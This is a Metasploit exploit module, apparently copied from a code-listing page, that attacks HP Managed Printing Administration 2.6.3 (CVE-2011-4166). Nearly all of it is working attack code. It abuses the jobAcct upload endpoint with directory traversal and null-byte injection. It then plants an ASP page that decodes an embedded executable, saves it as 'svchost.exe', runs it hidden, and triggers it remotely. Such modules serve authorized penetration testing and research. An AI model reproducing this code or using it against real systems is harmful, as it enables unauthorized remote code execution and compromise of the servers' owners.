1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 |
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE def initialize super( 'Name'=> 'HP Managed Printing Administration jobAcct Remote Command Execution', 'Description'=> %q{ This module exploits an arbitrary file upload vulnerability on HP Managed Printing Administration 2.6.3 (and before). The vulnerability exists in the UploadFiles() function from the MPAUploader.Uploader.1 control, loaded and used by the server. The function can be abused via directory traversal and null byte injection in order to achieve arbitrary file upload.In order to exploit successfully, a few conditions must be met: 1) A writable location under the context of Internet Guest Account (IUSR_*), or Everyone is required. By default, this module will attempt to write to /hpmpa/userfiles/, but you may specify the WRITEWEBFOLDER datastore option to provide another writable path. 2)The writable path must also be readable by a browser, this typically means a location under wwwroot. 3) You cannot overwrite a file with the same name as the payload. }, 'Author'=> [ 'Andrea Micalizzi', # aka rgod - Vulnerability Discovery 'juan vazquez' # Metasploit module ], 'Platform'=> 'win', 'References'=> [ ['CVE', '2011-4166'], ['OSVDB', '78015'], ['BID', '51174'], ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-352/'], ['URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03128469'] ], 'Targets' => [ [ 'HP Managed Printing Administration 2.6.3 / Microsoft Windows [XP SP3 | Server 2003 SP2]', { } ], ], 'DefaultTarget'=> 0, 'Privileged' => false, 'DisclosureDate' => 'Dec 21 2011' ) register_options( [ OptString.new('WRITEWEBFOLDER', [ false,"Additional Web location with file write permissions for IUSR_*" ]) ], self.class) end def peer return "#{rhost}:#{rport}" end def webfolder_uri begin u = datastore['WRITEWEBFOLDER'] u = "/" if u.nil? or u.empty? URI(u).to_s rescue ::URI::InvalidURIError print_error "Invalid URI: #{datastore['WRITEWEBFOLDER'].inspect}" return "/" end end def to_exe_asp(exes = '') var_func= Rex::Text.rand_text_alpha(rand(8)+8) var_stream= Rex::Text.rand_text_alpha(rand(8)+8) var_obj = Rex::Text.rand_text_alpha(rand(8)+8) var_shell = Rex::Text.rand_text_alpha(rand(8)+8) var_tempdir = Rex::Text.rand_text_alpha(rand(8)+8) var_tempexe = Rex::Text.rand_text_alpha(rand(8)+8) var_basedir = Rex::Text.rand_text_alpha(rand(8)+8) var_f64name = Rex::Text.rand_text_alpha(rand(8)+8) arg_b64string = Rex::Text.rand_text_alpha(rand(8)+8) var_length= Rex::Text.rand_text_alpha(rand(8)+8) var_out = Rex::Text.rand_text_alpha(rand(8)+8) var_group = Rex::Text.rand_text_alpha(rand(8)+8) var_bytes = Rex::Text.rand_text_alpha(rand(8)+8) var_counter = Rex::Text.rand_text_alpha(rand(8)+8) var_char= Rex::Text.rand_text_alpha(rand(8)+8) var_thisdata= Rex::Text.rand_text_alpha(rand(8)+8) const_base64= Rex::Text.rand_text_alpha(rand(8)+8) var_ngroup= Rex::Text.rand_text_alpha(rand(8)+8) var_pout= Rex::Text.rand_text_alpha(rand(8)+8) vbs = "<%\r\n" # ASP Base64 decode from Antonin Foller http://www.motobit.com/tips/detpg_base64/ vbs << "Function #{var_f64name}(ByVal #{arg_b64string})\r\n" vbs << "Const #{const_base64} = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"\r\n" vbs << "Dim #{var_length}, #{var_out}, #{var_group}\r\n" vbs << "#{arg_b64string} = Replace(#{arg_b64string}, vbCrLf, \"\")\r\n" vbs << "#{arg_b64string} = Replace(#{arg_b64string}, vbTab, \"\")\r\n" vbs << "#{arg_b64string} = Replace(#{arg_b64string}, \" \", \"\")\r\n" vbs << "#{var_length} = Len(#{arg_b64string})\r\n" vbs << "If #{var_length} Mod 4 <> 0 Then\r\n" vbs << "Exit Function\r\n" vbs << "End If\r\n" vbs << "For #{var_group} = 1 To #{var_length} Step 4\r\n" vbs << "Dim #{var_bytes}, #{var_counter}, #{var_char}, #{var_thisdata}, #{var_ngroup}, #{var_pout}\r\n" vbs << "#{var_bytes} = 3\r\n" vbs << "#{var_ngroup} = 0\r\n" vbs << "For #{var_counter} = 0 To 3\r\n" vbs << "#{var_char} = Mid(#{arg_b64string}, #{var_group} + #{var_counter}, 1)\r\n" vbs << "If #{var_char} = \"=\" Then\r\n" vbs << "#{var_bytes} = #{var_bytes} - 1\r\n" vbs << "#{var_thisdata} = 0\r\n" vbs << "Else\r\n" vbs << "#{var_thisdata} = InStr(1, #{const_base64}, #{var_char}, vbBinaryCompare) - 1\r\n" vbs << "End If\r\n" vbs << "If #{var_thisdata} = -1 Then\r\n" vbs << "Exit Function\r\n" vbs << "End If\r\n" vbs << "#{var_ngroup} = 64 * #{var_ngroup} + #{var_thisdata}\r\n" vbs << "Next\r\n" vbs << "#{var_ngroup} = Hex(#{var_ngroup})\r\n" vbs << "#{var_ngroup} = String(6 - Len(#{var_ngroup}), \"0\") & #{var_ngroup}\r\n" vbs << "#{var_pout} = Chr(CByte(\"&H\" & Mid(#{var_ngroup}, 1, 2))) + _\r\n" vbs << "Chr(CByte(\"&H\" & Mid(#{var_ngroup}, 3, 2))) + _\r\n" vbs << "Chr(CByte(\"&H\" & Mid(#{var_ngroup}, 5, 2)))\r\n" vbs << "#{var_out} = #{var_out} & Left(#{var_pout}, #{var_bytes})\r\n" vbs << "Next\r\n" vbs << "#{var_f64name} = #{var_out}\r\n" vbs << "End Function\r\n" vbs << "Sub #{var_func}()\r\n" vbs << "#{var_bytes} = #{var_f64name}(\"#{Rex::Text.encode_base64(exes)}\")\r\n" vbs << "Dim #{var_obj}\r\n" vbs << "Set #{var_obj} = CreateObject(\"Scripting.FileSystemObject\")\r\n" vbs << "Dim #{var_stream}\r\n" vbs << "Dim #{var_tempdir}\r\n" vbs << "Dim #{var_tempexe}\r\n" vbs << "Dim #{var_basedir}\r\n" vbs << "Set #{var_tempdir} = #{var_obj}.GetSpecialFolder(2)\r\n" vbs << "#{var_basedir} = #{var_tempdir} & \"\\\" & #{var_obj}.GetTempName()\r\n" vbs << "#{var_obj}.CreateFolder(#{var_basedir})\r\n" vbs << "#{var_tempexe} = #{var_basedir} & \"\\\" & \"svchost.exe\"\r\n" vbs << "Set #{var_stream} = #{var_obj}.CreateTextFile(#{var_tempexe},2,0)\r\n" vbs << "#{var_stream}.Write #{var_bytes}\r\n" vbs << "#{var_stream}.Close\r\n" vbs << "Dim #{var_shell}\r\n" vbs << "Set #{var_shell} = CreateObject(\"Wscript.Shell\")\r\n" vbs << "#{var_shell}.run #{var_tempexe}, 0, false\r\n" vbs << "End Sub\r\n" vbs << "#{var_func}\r\n" vbs << "%>\r\n" vbs end def upload(contents, location) post_data = Rex::MIME::Message.new post_data.add_part("upload", nil, nil, "form-data; name=\"upload\"") post_data.add_part(contents, "application/octet-stream", "binary", "form-data; name=\"uploadfile\"; filename=\"..\\../../wwwroot#{location}\x00.tmp\"") data = post_data.to_s data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part") res = send_request_cgi({ 'uri'=> normalize_uri("hpmpa", "jobAcct", "Default.asp"), 'method' => 'POST', 'ctype'=> "multipart/form-data; boundary=#{post_data.bound}", 'data' => data, 'encode_params' => false, 'vars_get' => { 'userId' => rand_text_numeric(2+rand(2)), 'jobId'=> rand_text_numeric(2+rand(2)) } }) return res end def check res = send_request_cgi({'uri' => normalize_uri("hpmpa", "home", "Default.asp")}) version = nil if res and res.code == 200 and res.body =~ /HP Managed Printing Administration/ and res.body =~ /<dd>v(.*)<\/dd>/ version = $1 else return Exploit::CheckCode::Safe end vprint_status("HP MPA Version Detected: #{version}") if version <= "2.6.3" return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end def exploit # Generate the ASP containing the EXE containing the payload exe = generate_payload_exe # Not using Msf::Util::EXE.to_exe_asp because the generated vbs is too long and the app complains asp = to_exe_asp(exe) # # UPLOAD # asp_name = "#{rand_text_alpha(5+rand(3))}.asp" locations = [ "/hpmpa/userfiles/images/printers/", "/hpmpa/userfiles/images/backgrounds/", "/hpmpa/userfiles/images/", "/hpmpa/userfiles/", "/" ] locations << normalize_uri(webfolder_uri, asp_name) if datastore['WRITEWEBFOLDER'] payload_url = "" locations.each {|location| asp_location = location + asp_name print_status("#{peer} - Uploading #{asp.length} bytes to #{location}...") res = upload(asp, asp_location) if res and res.code == 200 and res.body =~ /Results of Upload/ and res.body !~ /Object\[formFile\]/ print_good("#{peer} - ASP Payload successfully wrote to #{location}") payload_url = asp_location break elsif res and res.code == 200 and res.body =~ /Results of Upload/ and res.body =~ /Object\[formFile\]/ print_error("#{peer} - Error probably due to permissions while writing to #{location}") else print_error("#{peer} - Unknown error while while writing to #{location}") end } if payload_url.empty? fail_with(Exploit::Failure::NotVulnerable, "#{peer} - Failed to upload ASP payload to the target") end # # EXECUTE # print_status("#{peer} - Executing payload through #{payload_url}...") send_request_cgi({ 'uri' => payload_url}) end end |